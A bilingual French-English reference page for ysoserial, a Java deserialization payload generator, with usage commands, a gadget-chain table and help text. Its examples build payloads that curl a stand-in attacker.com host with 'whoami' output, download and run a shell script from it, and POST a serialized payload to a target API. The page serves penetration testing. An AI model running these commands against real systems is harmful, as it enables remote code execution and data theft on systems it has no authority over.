ysoserial

Génère des payloads d'exploitation de désérialisation Java pour diverses chaînes de gadgets. Indispensable pour tester les applications Java. Generates Java deserialization exploit payloads for various gadget chains. Essential for testing Java applications.

↗ https://github.com/frohoff/ysoserial

Overview

ysoserial generates serialized Java objects that exploit gadget chains in common Java libraries. When a vulnerable application deserializes attacker-controlled data, the payload executes arbitrary commands.

Common Usage

List available gadget chains

java -jar ysoserial.jar

Generate a payload

java -jar ysoserial.jar <GadgetChain> '<command>'
# Common chains
java -jar ysoserial.jar CommonsCollections1 'ping attacker.com'
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)'
java -jar ysoserial.jar Spring1 'wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s'

Generate base64-encoded payload (for HTTP injection)

java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0
# Generate and send via curl
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
curl -X POST https://target.com/api -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

Choosing the Right Gadget Chain

The gadget chain depends on which libraries are on the target’s classpath:

ChainLibraryNotes
CommonsCollections1-7Apache Commons Collections ≤3.2.1 / 4.0Most common
Spring1, Spring2Spring Framework
Groovy1Apache Groovy
JBossInterceptors1JBoss
URLDNSJava built-inOnly DNS — good for detection

Use URLDNS first to confirm blind deserialization (DNS callback, no library dependency).

Help / Man page
java -jar ysoserial.jar [payload-type] '[command]'

USAGE:
  List gadgets:     java -jar ysoserial.jar
  Generate:         java -jar ysoserial.jar <GADGET> '<cmd>'

GADGET CHAINS (selection):
  BeanShell1           BeanShell
  C3P0                 c3p0
  CommonsCollections1  Commons Collections <= 3.2.1
  CommonsCollections2  Commons Collections 4.0
  CommonsCollections3  Commons Collections <= 3.2.1
  CommonsCollections4  Commons Collections 4.0
  CommonsCollections5  Commons Collections (any, Apache)
  CommonsCollections6  Commons Collections (no Invoke)
  Groovy1              Groovy <= 2.3.9
  Hibernate1           Hibernate
  JBossInterceptors1   JBoss
  JRMPClient           Remote class load trigger
  Jdk7u21              JDK 7u21 native gadget
  Spring1              Spring Core
  Spring2              Spring Core (AOP)
  URLDNS               DNS only (no class dependency)

OUTPUT:
  Writes raw serialized bytes to stdout
  Pipe to base64 or file as needed

Vue d’ensemble

ysoserial génère des objets Java sérialisés qui exploitent des chaînes de gadgets dans des bibliothèques Java courantes. Quand une application vulnérable désérialise des données contrôlées par l’attaquant, le payload exécute des commandes arbitraires.

Utilisation courante

# Lister les chaînes de gadgets disponibles
java -jar ysoserial.jar

# Générer un payload
java -jar ysoserial.jar <GadgetChain> '<command>'

# Chaînes courantes
java -jar ysoserial.jar CommonsCollections1 'ping attacker.com'
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)'
java -jar ysoserial.jar Spring1 'wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s'

# Générer un payload encodé en base64 (pour injection HTTP)
java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0

# Générer et envoyer via curl
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
curl -X POST https://target.com/api -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

Choisir la bonne chaîne de gadgets

La chaîne de gadgets dépend des bibliothèques présentes dans le classpath de la cible :

ChaîneBibliothèqueNotes
CommonsCollections1-7Apache Commons Collections ≤3.2.1 / 4.0La plus courante
Spring1, Spring2Spring Framework
Groovy1Apache Groovy
JBossInterceptors1JBoss
URLDNSJava natifDNS uniquement : bon pour la détection

Utiliser URLDNS en premier pour confirmer la désérialisation aveugle (callback DNS, sans dépendance de bibliothèque).

Aide / Page de manuel
java -jar ysoserial.jar [payload-type] '[command]'

USAGE:
  List gadgets:     java -jar ysoserial.jar
  Generate:         java -jar ysoserial.jar <GADGET> '<cmd>'

GADGET CHAINS (selection):
  BeanShell1           BeanShell
  C3P0                 c3p0
  CommonsCollections1  Commons Collections <= 3.2.1
  CommonsCollections2  Commons Collections 4.0
  CommonsCollections3  Commons Collections <= 3.2.1
  CommonsCollections4  Commons Collections 4.0
  CommonsCollections5  Commons Collections (any, Apache)
  CommonsCollections6  Commons Collections (no Invoke)
  Groovy1              Groovy <= 2.3.9
  Hibernate1           Hibernate
  JBossInterceptors1   JBoss
  JRMPClient           Remote class load trigger
  Jdk7u21              JDK 7u21 native gadget
  Spring1              Spring Core
  Spring2              Spring Core (AOP)
  URLDNS               DNS only (no class dependency)

OUTPUT:
  Writes raw serialized bytes to stdout
  Pipe to base64 or file as needed